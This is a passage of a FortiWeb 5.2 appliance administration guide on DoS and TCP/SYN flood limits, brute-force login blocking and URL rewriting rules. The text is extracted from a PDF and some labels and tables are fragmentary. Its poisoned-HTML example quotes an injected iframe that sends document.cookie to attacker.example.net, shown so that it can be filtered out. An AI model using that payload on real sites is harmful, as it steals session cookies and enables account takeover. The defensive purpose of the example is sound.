indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
The default value is Alert.
Caution:
This setting will be ignored if
is enabled.
Note:
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb
will not be able to enforce actions for this feature. See “Sessions &
.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0.
See also
“Monitoring currently blocked IPs” on page 639 .
368 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Severity
Trigger Action
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Configuring triggers” on page 587 .
4. Click OK.
5. Group the rule in a DoS protection policy (see “Grouping DoS protection rules” on page 373
).
6. Select the DoS protection policy in a protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
7. Enable the
option in the protection profile.
Attack log messages contain DoS Attack: HTTP Flood Prevention Violation when this feature detects an HTTP flood.
Example: HTTP request flood prevention
Assuming you set 10 as the limit, here are three scenarios:
• A client opens a single TCP connection with 8 HTTP GET requests. As long as they all have the session cookie set by the FortiWeb appliance, it allows the requests.
• A client opens a single TCP connection with 8 HTTP GET requests. One request does not have the session cookie. The FortiWeb appliance drops the TCP connection (dropping all sessions).
• Two clients open 2 TCP connections. Each has 6 HTTP requests with the same session cookie. The FortiWeb appliance blocks the last two requests because there are 12, which exceeds the 10 limit.
Configuring network-layer DoS protection
The DoS Protection > Network submenu enables you to configure DoS protection at the network layer.
Limiting TCP connections per IP address
You can limit the number of fully-formed TCP connections per source IP address. This effectively prevents TCP flood-style denial-of-service (DoS) attacks.
TCP flood attacks exploit the fact that servers must consume memory to maintain the state of the open connection until either the timeout, or the client or server closes the connection. This consumes some memory even if the client is not currently sending any HTTP requests.
369 FortiWeb 5.2 Patch 2 Administration Guide
Normally, a legitimate client will form a single TCP connection, through which they may make several HTTP requests. As a result, each client consumes a negligible amount of memory to track the state of the TCP connection. However, an attacker will open many connections with perhaps zero or one request each, until the server is exhausted and has no memory left to track the TCP states of new connections with legitimate clients.
This feature is similar to DoS Protection > Application > Malicious IPs. However, this feature counts TCP connections per IP, while Malicious IPs counts TCP connections per session cookie.
It is also similar to DoS Protection > Network > Syn Cookie. However, this feature counts fully-formed TCP connections, while Syn Cookie counts partially-formed TCP connections.
FortiWeb counts the TCP connections. If a source IP address exceeds the limit, FortiWeb executes the Action for that client.
To configure a TCP connection flood limit
1. Go to DoS Protection > Network > TCP Flood Prevention.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
3. Configure these settings:
Fortinet
Setting name
Name
TCP Connection
Number Limit
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type the maximum number of TCP connections allowed with a single source IP address.
The valid range is from 0 to 65,535. The default is 0.
370 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block Period
Severity
Trigger Action
4. Click OK.
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the
client with the HTTP status code. See “Uploading a custom error page” on page 491 or
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
You can customize the web page that will be returned to the
client with the HTTP status code. See “Uploading a custom error page” on page 491 or
Tip:
For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the
DDoS.
The default value is Alert.
Caution:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and
configured. See “Logging” on page 572
and “Alert email” on page 608 .
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
valid range is from 1 to 3,600 (1 hour). The default value is 0. See
also “Monitoring currently blocked IPs” on page 639
.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field.
Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is Medium.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587
.
371 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. Group the rule in a DoS protection policy (see
“Grouping DoS protection rules” on page 373
) that is used by a protection profile.
Attack log messages contain DoS Attack: TCP Flood Prevention Violation when
this feature detects a TCP connection flood. See also “Log rate limits” on page 574 .
Example: TCP flood prevention
Assume you set 10 as the limit. A client opens 15 TCP connections. Each connection has a different source port. The FortiWeb appliance counts all connections as part of the same source
IP and blocks the connections because they exceed the limit.
See also
•
Limiting TCP connections per IP address by session cookie
•
Preventing a TCP SYN flood
You can configure protection from TCP SYN flood-style denial of service (DoS) attacks.
TCP SYN floods attempt to exploit the state mechanism of TCP. At the point where a client has only sent a SYN signal, a connection has been initiated and therefore consumes server memory to remember the state of the half-open connection. However, the connection has not yet been fully formed, and therefore packets are not required to contain any actual application layer payload such as HTTP yet. Because of this, it cannot be blocked by application-layer scans, nor can it be blocked by scans that only count fully-formed socket connections (where the client’s
SYN
has been replied to by a SYN ACK from the server, and the client has confirmed connection establishment with an ACK).
Normally, a legitimate client will quickly complete the connection build-up and tear-down.
However, an attacker will initiate many connections without completing them, until the server is exhausted and has no memory left to track the TCP connection state for legitimate clients.
To prevent this, FortiWeb can use a “SYN cookie” — a small piece of memory that keeps a timeout for half-open connections. This prevents half-open connections from accumulating to the point of socket exhaustion.
This feature is similar to DoS Protection > Network > TCP Flood Prevention. However, this feature counts partially-formed TCP connections, while TCP Flood Prevention counts fully-formed TCP connections.
When the operation mode is true transparent proxy, instead of configuring this setting, use the
options in each server policy.
372 FortiWeb 5.2 Patch 2 Administration Guide
To configure TCP SYN flood protection
1. Go to DoS Protection > Network > Syn Cookie.
Fortinet
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Enable Syn Cookie.
3. In Half Open Threshold, enter the maximum number of TCP SYN packets, including retransmission, that may be sent per second to a destination address. If this threshold is exceeded, the FortiWeb appliance assumes a DoS attack is occurring and ignores additional traffic from that source IP address.
4. From the Severity drop-down list, select the severity level to include in logs and/or alert email when this type of attack is detected.
5. From the Trigger Action drop-down list, select the trigger, if any, that defines which log and/or alert email servers the FortiWeb appliance will use contact when the threshold is exceeded (see
“Configuring triggers” on page 587 ).
6. Click Apply.
Unlike other DoS protection features, you do not need to include this setting in a DoS protection policy to make it effective. Once configured, the FortiWeb appliance applies SYN flood protection immediately to all connections attempting to through it.
See also
•
Limiting TCP connections per IP address
Grouping DoS protection rules
Before you can apply them in a server policy via a protection profile, you must first group DoS prevention rules.
To configure a DoS protection policy
1. Before you can configure a DoS protection policy, you must first configure the rules that you want to include:
• HTTP request flood prevention (see
“Preventing an HTTP request flood” on page 365 )
• HTTP request rate limit (see
“Limiting the total HTTP request rate from an IP” on page 357 )
•
•
TCP connection flood prevention (see “Limiting TCP connections per IP address” on page 369 )
373 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to DoS Protection > DoS Protection Policy > DoS Protection Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
Fortinet
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. If you want to apply features that use session cookies, enable HTTP Session Based
Prevention.
• From HTTP Flood Prevention, select an existing rule that sets the maximum number of
HTTP requests per second to a specific URL (see
“Preventing an HTTP request flood” on page 365 ).
• From Malicious IPs, select an existing rule that limits TCP connections from the same client (see
“Limiting TCP connections per IP address by session cookie” on page 362
).
6. If you want to restrict traffic based upon request or connection counts, enable HTTP
Network Based Prevention.
•
).
• From TCP Flood Prevention, select a rule, if any, that you want to include (see
“Preventing a TCP SYN flood” on page 372
).
7. Click OK.
8. To apply the policy, select the DoS protection policy in an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
9. If you have configured DoS protection features that use session cookies, also enable the
option in the protection profile.
See also
•
•
374 FortiWeb 5.2 Patch 2 Administration Guide
Preventing brute force logins
FortiWeb can prevent brute force login attacks.
Brute force attackers attempt to penetrate systems by the sheer number of clients, attempts, or computational power, rather than by intelligent insight or advance knowledge of application logic or data.
Specifically in brute force attacks on authentication, multiple web clients may rapidly try one user name and password combination after another in an attempt to eventually guess a correct login and gain access to the system. In this way, behavior differs from web crawlers, which typically do not focus on a single URL.
Brute force login attack profiles track the rate at which each source IP address makes requests for specific URLs. If the source IP address exceeds the threshold, the FortiWeb appliance penalizes the source IP address by blocking additional requests for the time period that you indicate in the profile.
This scan is bypassed if the client’s source IP is a known search engine and you have enabled
To configure brute force login attack prevention
1. Before you configure a brute force login attack profile, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected
shared by multiple clients. For details, see
“Advanced settings” on page 551 .Before you
configure the rate limit, enable detection of when source IP addresses are shared by multiple
clients. For details, see “Advanced settings” on page 551 .
If you do not enable detection of shared IP addresses (
Share IP Access Limit
, will be ignored.
2. Go to Web Protection > Access > Brute Force.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
Fortinet 375 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Clear all
Edit
Setting name
Name
Severity
Trigger Action
Delete
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule.
See
“Configuring triggers” on page 587
.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
Fortinet 376 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
7. Configure these settings:
Setting name Description
Host Status
Enable to require that the Host: field of the HTTP request match a protected host names entry in order to be included in the brute force login attack profile’s rate calculations. Also configure
Host
.
Host
Type
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the brute force login attack profile.
This option is available only if
Host Status
is enabled.
Select how to apply the limit of login attempts in
Standalone IP Access
Limit
or
Share IP Access Limit
, either:
• Based on Source IP — Apply the limit to per source IP.
• Based on TCP Session — Apply the limit to per TCP/IP session.
Tip:
If you need to cover both possibilities, create two members.
Request File
Block Period
Type the URL that the HTTP/HTTPS request must match to be included in the brute force login attack profile’s rate calculations.
When you have finished typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Type the length of time in seconds for which the FortiWeb appliance will block subsequent requests after a source IP address exceeds the rate threshold in either
Standalone IP Access Limit
or
Share IP Access Limit
.
The block period is shared by all clients whose traffic originates from the source IP address. The valid range is from 1 to 10,000 seconds.
377 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Standalone IP
Access Limit
Type the rate threshold for source IP addresses that are single clients.
Request rates exceeding the threshold will cause the FortiWeb appliance to block additional requests for the length of the time in the
Block Period
field.
To disable the rate limit, type 0.
Share IP
Access Limit
Type the rate threshold for source IP addresses that are shared by multiple clients behind a network address translation (NAT) device such as a firewall or router. Request rates exceeding the threshold will cause the FortiWeb appliance to block additional requests for the length of the time in the
Block Period
field.
To disable the rate limit, type 0.
Note:
Blocking a shared source IP address could block innocent clients that share the same source IP address with an offending client. In addition, the rate is a total rate for all clients that use the same source IP address. For these reasons, you should usually enter a greater value for this field than for
Standalone IP Access Limit .
Note:
This option will be ignored if you have not enabled detection of
shared IP addresses. See “Advanced settings” on page 551
.
8. Click OK.
9. Repeat the previous steps for each individual login page that you want to add to the brute force login attack profile.
10.To apply the brute force login attack profile, select it in an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
Attack log messages contain Brute Force Login Violation when this feature detects a brute force login attack.
See also
•
Fortinet 378 FortiWeb 5.2 Patch 2 Administration Guide
Rewriting & redirecting
Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.
Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or web site structures to HTTP clients.
For example, when visiting a blog web page, its URL might be: http://www.example.com/wordpress/?feed=rss2
Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden: http://www.example.com/rss2
Aside from for security, rewriting and redirects can be for aesthetics or business reasons.
Financial institutions can transparently redirect customers that accidentally request HTTP: http://bank.example.com/login to authenticate and do transactions on their secured HTTPS site: https://bank.example.com/login
Additional uses could include:
• During maintenance windows, requests can be redirected to a read-only server.
• International customers can use global URLs, with no need to configure the back-end web servers to respond to additional HTTP virtual host names.
• Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember, and return to.
Much more than their name implies, “URL rewriting rules” can do all of those things, and more:
• redirect HTTP requests to HTTPS
• rewrite the URL line in the header of an HTTP request
• rewrite the Host: field in the header of an HTTP request
• rewrite the Referer: field in the header of an HTTP request
• redirect requests to another web site
• send a 403 Forbidden response to a matching HTTP requests
• rewrite the HTTP location line in the header of a matching redirect response from the web server
• rewrite the body of an HTTP response from the web server
Rewrites/redirects are not supported in all modes. See
“Supported features in each operation mode” on page 69
.
FortiWeb cannot rewrite requests that exceed FortiWeb’s buffer size. To block requests that
cannot be rewritten, configure
.
Rewrites will work on single requests as well as those that have been fragmented using:
Tranfer-Encoding: chunked
379 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
To configure a rewriting/redirection rule
1. Go to Application Delivery > URL Rewriting Policy > URL Rewriting Rule.
2. Click Create New.
A dialog appears. Its appearance varies by your settings in Action Type, and Request Action or Response Action.
Clear all
Edit
Delete
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In Action Type, select whether this rule will rewrite HTTP requests from clients (Request
Action) or HTTP responses from the web server (Response Action).
The next step varies by your selection in this step.
Fortinet 380 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. If you selected Request Action in Action Type, in the Request Action drop-down list, select one of the following:
• Rewrite HTTP Header — Rewrites part(s) of the header in the HTTP request before passing it to the web server.
Setting name
Host
Using Physical
Server
URL
Description
Enable then type either a host name, such as store.example.com, or IP address if you want to replace the value of the Host: field in the header of HTTP requests. Requests will be redirected to this web host.
This field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in
for each object in the condition table. (A capture group is a regular expression, or part of one, surrounded in
parentheses. See “Regular expression syntax” on page 704 .)
For an example, see
“Example: Rewriting URLs using variables” on page 397 .
Enable to insert the variable FORTIWEB_PSERVER in
Host
.
At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request.
Tip:
Use this option when the
policies using this rule is either Server Balance or HTTP Content
Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
Enable then type a string, such as /catalog/item1, if you want to replace the URL in the HTTP request.
Do not include the name of the web host, such as www.example.com
, nor the protocol.
Like
Host
, this field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in
for each object in the condition table
(see “What are back-references?” on page 709
).
For an example, see
“Example: Rewriting URLs using regular expressions” on page 396
.
381 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Referer
Using Physical
Server
Description
Enable then type a URI, such as http://www.example.com/index
, if you want to rewrite the
Referer:
field in the HTTP header.
This option is available only if Request Action is Rewrite HTTP
Header.
Enable to insert the variable FORTIWEB_PSERVER in
Referer
.
At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request.
Tip:
Use this option when the Deployment Mode option in the server policies using this rule is either Server Balance or HTTP Content
Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
• Redirect (301 Permanently) or Redirect (302 Temporary) — In Location, type a URI, such as http://www.example.com/new-url, to use in the e 301 Moved Permanently or the 302 Moved Temporarily redirection HTTP response from the FortiWeb appliance. Like
Host
and
URL
, this field supports back-references such as $0 (see
“What are back-references?” on page 709
).
• Send 403 Forbidden — Return a 403 Forbidden response to the client.
6. If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following:
• Rewrite HTTP Body — In Replacement, type the string that will replace content in the body of HTTP responses (see
“What are back-references?” on page 709
and
“Cookbook regular expressions” on page 711 ).
• Rewrite HTTP Location — In Location, type a URI, such as http://www.example.com/new-url
, to use in the 302 Moved Temporarily redirection when the HTTP response matches. Like
Host
and
URL
, this field supports
back-references such as $0 (see “What are back-references?” on page 709
).
7. Click Create New to add match conditions for the rule to URL Rewriting Condition Table.
A dialog appears.
382 FortiWeb 5.2 Patch 2 Administration Guide
8. Configure these settings:
Fortinet
Setting name
Object
Description
Select which part of the HTTP request will be tested for a match:
• HTTP Host — The Host: field in the HTTP header.
This option does not appear if Response Action in step
was Rewrite
HTTP Body.
• HTTP Request URL — The URL in the HTTP header. The URL can be up to 1,024 characters long, unless superseded by HTTP constraints such as
This option does not appear if Response Action in step
was Rewrite
HTTP Body.
• HTTP Referer — The Referer: field in the HTTP header. This option appears only if Action Type in step
This option does not appear if Response Action in step
was Rewrite
HTTP Body.
• HTTP Body — The content of the request, such as an HTML document.
This option appears only if Response Action in step 6 was Rewrite HTTP
Body.
• HTTP Location — The Location: field in the header of the request.
This option appears only if Response Action in step 6 was Rewrite HTTP
Location.
If the request must meet multiple conditions (for example, it must contain both a matching Host: field and a matching URL), add each condition to the condition table separately.
Regular
Expression
Depending on your selection in
Object
and
Meet this condition if
, type a regular expression that defines either all matching or all non-matching objects. Also configure
Meet this condition if
.
383 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Description
Protocol
Filter
Protocol
For example, for the URL rewriting rule to match all URLs that begin with
/wordpress
, you could enter ^/wordpress, then, in
Meet this condition if
, select Object matches the regular expression.
The pattern is not required to begin with a slash ( / ).
When you have finished typing the regular expression, click the >> (test) icon.
This opens the Regular Expression Validator window where you can fine-tune
the expression (see “Regular expression syntax” on page 704 ,
“What are back-references?” on page 709
and
“Cookbook regular expressions” on page 711
).
Enable if you want to match this condition only for either HTTP or HTTPS.
Also configure
.
For example, you could redirect clients that accidentally request the login page by HTTP to a more secure HTTPS channel — but the redirect is not necessary for HTTPS requests.
As another example, if URLs in HTTPS requests should be exempt from rewriting, you could configure the rewriting rule to apply only to HTTP requests.
Select which protocol will match this condition, either HTTP or HTTPS.
This option appears only if
is enabled.
Content
Type Filter
Enable if you want to match this condition only for specific HTTP content types (also called Internet or MIME file types) such as text/html, as indicated in the Content-Type: HTTP header. Also configure
.
Content
Type Set
In the left text area, select one or more HTTP content types that you want to match this condition, then click the right arrow button to move them into the text area on the right side.
This option is visible only if
is enabled.
Meet this condition if
Indicate how to use
when determining whether or not this
URL rewriting condition is met.
• Object does not match the regular expression — If the regular expression does not match the request object, the condition is met.
• Object matches the regular expression — If the regular expression does match the request object, the condition is met.
If all conditions are met, the FortiWeb appliance executes the Request Action or Response Action, whichever you selected.
384 FortiWeb 5.2 Patch 2 Administration Guide
9. If you selected HTTP Referer from
Object
, also configure the following:
Setting name
Description
If no
Referer field in
HTTP header
Select either:
•
•
Do not meet this condition
Meet this condition
Requests can lack a Referer: field for several reasons, such as if the user manually types the URL, and the request does not result from a hyperlink from another web site, or if the URL resulted from an HTTPS connection. (See the RFC 2616 section on the Referer: field.) In those cases, the field cannot be tested for a matching value.
This option appears only if
Object
is HTTP Referer.
10.Click OK.
11.Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.
12.Go to Application Delivery > URL Rewriting Policy > URL Rewriting Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
13.Click Create New.
A dialog appears.
Clear all
Edit
Click to switch ascending/ descending sort order
Delete
Click to sort by this column
14.In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
15.Click OK.
16.Click Create New.
A dialog appears.
Fortinet
17.For Priority, enter the priority for this rule in relation to other defined rules.
Rule order affects rewriting rule matching and behavior. The search begins with the highest
Priority number (0 = greatest priority) rule in the list and progresses in order towards the
385 FortiWeb 5.2 Patch 2 Administration Guide
largest number (lowest priority) in the list. Matching rules are determined by comparing the rule and the request. If no rule matches, the request remains unchanged.
18.From the Rewriting Rule Name drop-down list, select the name of an existing rewriting rule to add to the policy.
To view or change the information associated with the rule, click the Detail link. The URL
Rewriting Rule dialog appears, where you can view and edit the rules. Use your browser’s
Back button to return.
19.Click OK.
20.Repeat the previous steps for each rule you want to add to the rewriting policy.
21.If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. See
“Configuring temporary decompression for scanning & rewriting” on page 484
.
22.To apply the rewriting policy, select it in an inline protection profile. For details, see
“Configuring a protection profile for inline topologies” on page 492
.
See also
•
•
Example: HTTP-to-HTTPS redirect
•
Example: Full host name/URL translation
•
Example: Sanitizing poisoned HTML
•
Example: Rewriting URLs using regular expressions
•
Example: Rewriting URLs using variables
•
•
•
Example: HTTP-to-HTTPS redirect
Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an attacker to ruin a business’s reputation.
To provide clients with protection from HTTP session hijacking tools such as Firesheep,
Example.com wants to automatically redirect all HTTP requests to HTTPS. This way, before the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.
To do this, example.com will apply a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as: http://www.example.com/login http://www.example.co.jp/ and redirects them to the equivalent URL on its secure sites: https://www.example.com/login https://www.example.co.jp/
Fortinet 386 FortiWeb 5.2 Patch 2 Administration Guide
This rewriting rule has 3 parts:
• Regular expression that matches HTTP requests with any host name — (.*)
This regular expression should not match HTTPS requests, since it would decrease performance to redirect requests that are already in HTTPS.
• Regular expression that matches requests with any URL in the HTTP header — ^/(.*)$
• Redirect destination location that assembles the host name ($0) and URL ($1) from the request in front of the new protocol prefix, https://
See “What are back-references?” on page 709
.
Fortinet 387 FortiWeb 5.2 Patch 2 Administration Guide
This could be configured via either the CLI or web UI.
Fortinet 388 FortiWeb 5.2 Patch 2 Administration Guide
CLI commands to implement this are: config waf url-rewrite url-rewrite-rule edit "http_to_https" set action redirect set location "https://$0/$1" set host-status disable set host-use-pserver disable set referer-status disable set referer-use-pserver disable set url-status disable config match-condition edit 1 set reg-exp "(.*)" set protocol-filter enable next edit 2 set object http-url end next set reg-exp "^/(.*)$" next end config waf url-rewrite url-rewrite-policy edit "http_to_https" config rule edit 1 set url-rewrite-rule-name "http_to_https" next end next end
See also
•
Example: Full host name/URL translation
•
•
Example: Rewriting URLs using regular expressions
•
Example: Rewriting URLs using variables
•
•
•
Example: Full host name/URL translation
Example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.
Fortinet 389 FortiWeb 5.2 Patch 2 Administration Guide
When the external DNS name www.example.com appears in the client’s request’s HTTP Host: header, it should be rewritten to www-internal.example.com.
In the server’s response traffic, when the internal DNS name www-internal.example.com appears in the Location: header, or in hyperlinks in the document body, it must be rewritten.
Fortinet 390 FortiWeb 5.2 Patch 2 Administration Guide
To do this, it creates a set of 3 rewriting rules, one for each of parts that FortiWeb must rewrite.
Capture group 0
Capture group 1
Fortinet 391 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 36: Example request host name rewrite
Object
Host
HTTP Host
match condition
www.example.com
www-internal.example.com
Table 37: Example response location rewrite
Object
Location
HTTP Location
match condition
(.*)www-internal.example.com(.*)
$0www.example.com$1
Table 38: Example response hyperlink rewrite
Object
Replacement
HTTP Body
match condition
www-internal.example.com
www.example.com
See also
•
Example: Rewriting URLs using regular expressions
•
Example: Rewriting URLs using variables
•
•
•
•
392 FortiWeb 5.2 Patch 2 Administration Guide
Example: Sanitizing poisoned HTML
Example.com is a cloud hosting service provider that has just bought several FortiWebs.
Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using
XSS to inject stored clickjacking attacks into login pages.
Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.
Example.com’s incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.
It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.
To mitigate effects, example.com wants to scrub the malicious HTML from responses, before they reach clients that could unwittingly participate in attacks, or have their identities stolen.
To do this, FortiWeb will rewrite the injected attack:
<iframe src="javascript:document.location.href=
‘attacker.example.net/peep?url=‘+ parent.location.href.toString()+‘lulz=‘ escape(document.cookie);" sandbox="allow-scripts allow-forms" style="width:0%;height:0%;position:absolute;left:-9999em;">
</iframe> into a null string to delete it from the infected web server’s response. FortiWeb will replace the attack with its own content:
<script src="http://irt.example.com/toDo.jss></script> so that each infected response posts the infected host name, URL, and attack permutation to a
“to do” list for the incident response team, as well as notifying the impacted customer.
Fortinet 393 FortiWeb 5.2 Patch 2 Administration Guide
Since attackers often try new attack forms to evade filters, the regular expression uses a few techniques for flexible matching:
• case insensitivity — (?i)
• alternative quotation marks — ["'`?“”„?‚’‘'?‹›«»]
• word breaks of zero or more white spaces — (\s)*
• word breaks using forward slashes instead of white space — [\s\/]*
• zero or more new line breaks within the tag — (\n|.)*
Fortinet 394 FortiWeb 5.2 Patch 2 Administration Guide
Table 39: Example HTML body rewrite using regular expressions
Object
HTTP Body
match condition
(?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?“”„?‚
’‘'?‹›«»]javascript:(\n|.)*</iframe>
Replacement
<script src="http://irt.example.com/toDo.jss></scr ipt>
See also
•
Defining custom data leak & attack signatures
•
•
•
Example: Inserting & deleting body text
Example.com wants to delete some text, and insert other text. As an example, it wants to change:
Hey everyone, this works!
to:
Hey, this works now!
To do this, it will rewrite matching parts of the body in the web server’s response.
The regular expression contains capture groups (.*) that create numbered substrings — back-references such as $0 — that you can recall by their number when writing the
Fortinet 395 FortiWeb 5.2 Patch 2 Administration Guide
replacement text. By omitting a capture group (in this case, $1 is omitted from Replacement), that part of the text is removed. To insert text, simply add it to the replacement text.
Capture group 1 Capture group 2
Capture group 0
Capture group 3
Table 40: Example body rewrite using regular expressions
Object
Replacement
HTTP Body
match condition
(.*)(everyone), (.*)(works)!
$0, $2 $3 now!
See also
•
•
•
Example: Rewriting URLs using regular expressions
Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.
The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients’ bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.
Because it has so many URLs, the university uses regular expressions to rewrite sets of similar
URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules
Fortinet 396 FortiWeb 5.2 Patch 2 Administration Guide
are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.
Table 41: Example URL rewrites using regular expressions
in URL match condition
URL
Example URL in client’s request Result
^/cgi/python/ustore/payment.html$ /store/checkout /cgi/python/ustore/payment.html
^/ustore*$ /store/view /ustore/viewItem.asp?id=1&img=2
/store/checkout
/store/view
/Wordpress/(.*)
/(.*)\.xml
/blog/$0
/$0
/wordpress/10/11/24
/index.xml
/blog/10/11/24
/index
See also
•
Example: HTTP-to-HTTPS redirect
•
Example: Rewriting URLs using variables
•
•
•
•
Example: Rewriting URLs using variables
Example.com has a web site that uses ASP, but the administrator wants it to appear that the web site uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.
The condition table contains two match conditions, in this order:
1. The Host: may be anything.
2. The request URL must end in .asp.
If both of those are true, the request is rewritten.
The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.
To assemble the rewritten URL by re-using the original request’s file path and Host:, the administrator uses two back reference variables: $0 and $1. Each variable refers to a part of the
original request. The parts are determined by which capture group was matched in the
field of each condition table object.
•
$0
